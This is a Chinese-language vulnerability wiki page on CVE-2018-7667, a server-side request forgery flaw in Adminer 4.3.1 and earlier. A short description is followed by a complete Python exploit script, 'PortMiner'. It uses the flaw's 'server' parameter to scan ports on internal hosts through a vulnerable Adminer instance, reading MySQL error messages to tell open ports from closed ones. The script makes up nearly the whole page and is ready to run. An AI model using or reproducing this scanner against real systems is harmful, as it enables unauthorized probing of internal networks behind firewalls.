menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right Adminer chevron_right (CVE-2018-7667)Adminer服务器端请求伪造漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-7667)Adminer服务器端请求伪造漏洞.md
    12.15 KB / 2021-04-21 09:23:46
        (CVE-2018-7667)Adminer 服务器端请求伪造漏洞
    =============================================
    
    一、漏洞简介
    ------------
    
    Adminer
    4.3.1及之前版本存在服务器端请求伪造漏洞。攻击者可借助'server'参数利用该漏洞绕过防火墙,确定内部主机,扫描其他服务器的端口。
    
    二、漏洞影响
    ------------
    
    Adminer\<=4.3.1
    
    三、复现过程
    ------------
    
    ### poc
    
        import socket,re,ssl,warnings,subprocess,time
        from platform import system as system_name 
        from os import system as system_call
    
        #Adminer Server Side Request Forgery
        #PortMiner Scanner Tool
        #by John Page (hyp3rlinx)
        #ISR: ApparitionSec
        #hyp3rlinx.altervista.org 
        #=========================
        #D1rty0Tis says hi.
    
        #timeout
        MAX_TIME=32
        #ports to log
        port_lst=[]  
        #Web server response often times out but usually means ports open.
        false_pos_ports=['80','443'] 
    
        BANNER='''
                   ____            _   __  __ _                  
                  |  _  \         | | |  \/  (_)                 
                  | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
                  |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
                  | |  | (_) | |  | |_| |  | | | | | |  __/ |    
                  |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
               '''                               
           
    
        def info():
            print "\nPortMiner depends on Error messages to determine open/closed ports."
            print "Read operations reported 'timed out' may be open/filtered.\n"
    
    
        def greet():
            print 'Adminer Unauthenticated SSRF Port Scanner Tool'
            print 'Targets Adminer used for MySQL administration\n'
            print 'by hyp3rlinx - apparition security'
            print '-----------------------------------------------------\n'
            print 'Scan small ranges or single ports or expect to wait.\n'
            print 'Do not scan networks without authorized permission.'
            print 'Author not responsible for abuse/misuse.\n'
    
            
        def chk_ports(p): 
            p=p.replace('-',',')
            port_arg=p.split(',')
            try:
                if len(port_arg)>1:
                    if int(port_arg[1]) < int(port_arg[0]):
                        print 'Port range not valid.'
                        raw_input()
                        return
                    if int(port_arg[1])>65535:
                        print 'Exceeded max Port range 65535.'
                        raw_input()
                        return
            except Exception as e:
                print str(e)
                return None
            return list(range(int(port_arg[0]),int(port_arg[1])+1))
    
    
    
        def log(IP):
            try:
                file=open('PortMiner.txt', 'w')
                file.write(IP+'\n')
                for p in port_lst:
                    file.write(p+'\n')
                file.close()
            except Exception as e:
                print str(e)
            print "\nSee PortMiner.txt"
    
    
        def use_ssl(ADMINER,ADMINER_PORT):
            try:
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ADMINER,int(ADMINER_PORT)))
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
                s.close()
            except Exception as e:
                print ""
                return False
            return True
    
    
        def version(ip,port,uri,use_ssl):
            res=""
            try:
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip,int(port)))
                if use_ssl:
                    s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
                s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')
    
            except Exception as e:
                print 'Host up but cant connect.' #str(e)
                print 'Re-check Host/Port/URI.'
                s.close()
                return 504
             
            while True:
                RES=s.recv(512)
                if RES.find('Forbidden')!=-1:
                    print 'Forbidden 403'
                    s.close()
                    return None
                if RES.find('401 Authorization Required')!=-1:
                    print '401 Authorization Required'
                    s.close()
                    return None
                ver = re.findall(r'<span>(.*)</span>',RES,re.DOTALL|re.MULTILINE)
                if not RES:
                    s.close()
                    return None
                if ver:
                    print 'Your Adminer '+ ver[0] + ' works for us now.'
                    s.close()
                    return ver
    
            s.close()
            return None
         
               
                       
        def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
            global MAX_TIME,port_range
            RES=''
    
            print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
            
            for aPort in port_range: 
                 aPort=str(aPort)
                 
                 try:
                     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                     s.settimeout(MAX_TIME)
                     s.connect((ADMINER,ADMINER_PORT))
            
                     if USE_SSL:
                        s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
    
                     s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
            
                 except Exception as e:
                      print str(e)
                      s.close()
                      return
    
                 while True:
                      try:
                         RES=s.recv(512)
                         ###print RES
                         ###Should see HTTP/1.1 403 not 200
                         if RES.find('HTTP/1.1 200 OK')!=-1:
                             print 'port '+aPort +  ' open'
                             port_lst.append(aPort+' open')
                             s.close()
                             break
                            
                         if RES.find('400 Bad Request')!=-1:
                             print '400 Bad Request, check params'
                             s.close()
                             break
                             raw_input()                  
    
                         lst=re.findall(r"([^\n<div>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
                                     "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)     
                
                         if lst:
                              status=str(lst)
                              if status.find('connect to MySQL')!=-1:
                                  if PRINT_CLOSED:
                                      print 'port '+ aPort +  ' closed'
                                  s.close()
                                  break
                              elif status.find('machine actively refused it.')!=-1:
                                  if PRINT_CLOSED:
                                      print 'port '+ aPort +  ' closed'
                                  s.close()
                                  break
                              elif status.find('A connection attempt failed')!=-1:
                                  if PRINT_CLOSED:
                                       print 'port '+ aPort +  ' closed'
                                  s.close()
                                  break
                              elif status.find('reading initial communication packet')!=-1:
                                  print 'port '+aPort +  ' open'
                                  port_lst.append(aPort+' open')
                                  s.close()
                                  break
                              elif status.find('MySQL server has gone away')!=-1:
                                  print 'port '+aPort +  ' open'
                                  port_lst.append(aPort+' open')
                                  s.close()
                                  break
                              elif status.find('Bad file descriptor')!=-1:
                                  print 'port '+aPort +  ' open'
                                  port_lst.append(aPort+' open')
                                  s.close()
                                  break
                              elif status.find('Got packets out of order')!=-1:
                                  print 'port '+aPort +  ' open'
                                  s.close()
                                  break
                                
                      except Exception  as e:
                          msg = str(e)
                          ###print msg
                          if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                              print 'port '+aPort +  ' open'
                              port_lst.append(aPort+' open')
                              s.close()
                              break
                          elif msg.find('timed out')!=-1: 
                              print 'port '+aPort + ' timed out'
                              port_lst.append(aPort+' read operation timed out')
                              s.close()
                              break
                          else:
                              s.close()
                              break
                       
            if port_lst:
                log(TARGET)
            else:
                print "Scan completed, no ports mined."
            return 0
    
    
    
        def arp(host):
            args = "-a" if system_name().lower()=="windows" else "-e"
            return subprocess.call("arp " + args + " " + host, shell=True) == 0
                 
    
        def ping_host(host):
            args = "-n 1" if system_name().lower()=="windows" else "-c 1"
            res=subprocess.call("ping " + args + " " + host, shell=True) == 0
            if not res:
                print str(host) + ' down? trying ARP'
                if not arp(host):
                    print str(host) + ' unreachable.'
                    return
            return res
    
            
    
        def main():
            global port_range
            print BANNER
            greet()
            ADMINER_VERSION=False
            PRINT_CLOSED=False
            USE_SSL=None
    
            ADMINER=raw_input('[+] Adminer Host/IP> ')
            if ADMINER=='':
                print 'Enter valid Host/IP'
                ADMINER=raw_input('[+] Adminer Host/IP> ')
            
            ADMINER_PORT=raw_input('[+] Adminer Port> ')
            if not re.search("^\d{1,5}$",ADMINER_PORT):
                print 'Enter a valid Port.'
                ADMINER_PORT=raw_input('[+] Adminer Port> ')
            
            ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
            TARGET=raw_input('[+] Host/IP to Scan> ')
            
            PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
            plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
            if not plst:
                print 'Invalid ports, format is 1-1025'
                return
                raw_input() #console up
    
            port_range=chk_ports(PORTS_TO_SCAN)
            if not port_range:
                return
    
            PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
            if PRINT_CLOSED=='1':
                PRINT_CLOSED=True
            else:
                PRINT_CLOSED=False
            
            if not ping_host(ADMINER):
                print 'host %s not reachable or blocking ping ' % ADMINER  
                cont=raw_input('Continue with scan? 1=Yes any key for No> ')
                if cont!='1':
                    print 'Scan aborted.'
                    raw_input() #console up
                    return
                
    
            USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
            time.sleep(2)
            ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)
    
            if not ADMINER_VERSION:
                print "Can't retrieve Adminer script. check supplied URI."
                raw_input() #console up
                return
            else:
                if ADMINER_VERSION==504:
                    raw_input() #console up
                    return
                if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
                    more=raw_input('Info: 1=Yes, any key for No> ')
                    if more=='1':
                        info()
                        raw_input() #console up
    
            
        if __name__=='__main__':
            main()
    
    
    links
    file_download